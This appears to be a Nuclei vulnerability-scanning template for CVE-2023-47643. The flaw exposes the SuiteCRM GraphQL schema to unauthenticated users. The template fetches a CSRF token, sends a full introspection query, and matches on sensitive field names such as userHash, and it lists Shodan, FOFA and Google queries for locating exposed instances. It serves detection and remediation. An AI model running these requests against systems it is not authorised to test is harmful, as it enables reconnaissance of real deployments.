CVE-2023-47643: SuiteCRM Unauthenticated Graphql Introspection

id: CVE-2023-47643

info:
  name: SuiteCRM Unauthenticated Graphql Introspection
  author: isacaya
  severity: medium
  description: |
    Graphql Introspection is enabled without authentication, exposing the scheme defining all object types, arguments, and functions.
  impact: |
    An attacker can obtain the GraphQL schema and understand the entire attack surface of the API, including sensitive fields such as UserHash.
  remediation: |
    Update to version 8.4.2.
  reference:
    - https://github.com/salesagility/SuiteCRM-Core/security/advisories/GHSA-fxww-jqfv-9rrr
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47643
    - https://www.apollographql.com/blog/graphql/security/why-you-should-disable-graphql-introspection-in-production/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-47643
    cwe-id: CWE-200
    epss-score: 0.43187
    epss-percentile: 0.97421
    cpe: cpe:2.3:a:salesagility:suitecrm:8.4.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: salesagility
    product: suitecrm
    shodan-query:
      - title:"SuiteCRM"
      - http.title:"suitecrm"
    fofa-query: title="suitecrm"
    google-query: intitle:"suitecrm"
  tags: cve,cve2023,graphql,suitecrm,introspection,salesagility,vkev

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /api/graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-XSRF-TOKEN: {{csrftoken}}

        {"query":"query IntrospectionQuery {\r\n      __schema {\r\n        \r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          \r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      \r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n      \r\n      \r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "userHash"
          - "authenticateId"
          - "systemGeneratedPassword"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrftoken
        group: 1
        part: header
        regex:
          - "XSRF-TOKEN=([^;]+)"
        internal: true
# digest: 490a0046304402206b5232585703b7e2506e2bc8b6bc6b15051b2ad924a00f0aaeea7a9f68b588f602205b8655436f9dc468756ee38485d6f589c7a057a8ab2d0d32d907d9afd6089550:922c64590222798bb761d5b6d8e72950